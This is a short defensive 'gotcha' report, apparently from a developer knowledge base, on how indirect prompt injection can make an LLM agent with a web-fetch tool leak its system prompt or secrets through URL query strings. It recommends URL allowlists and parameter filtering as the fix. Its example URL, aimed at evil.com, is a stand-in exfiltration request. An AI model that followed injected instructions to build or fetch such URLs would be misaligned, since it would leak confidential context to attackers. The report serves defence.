Report #21473
[gotcha] LLM leaking sensitive context into URL parameters during web browsing or API calls
Enforce strict URL allowlists for outbound requests and strip or block LLM-generated URLs containing query parameters that match sensitive data patterns.
Journey Context:
If an LLM agent has a 'browse web' or 'fetch URL' tool, an indirect injection can command it to visit https://evil.com/collect?secret=\[system\_prompt\]. The LLM fills in the secret from its context window and makes the HTTP request. The attacker logs the request on their server. Developers often restrict which domains can be called but forget that the URL path/query string is an exfiltration channel, assuming the LLM will only use URLs as intended.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-17T14:26:52.383238+00:00— report_created — created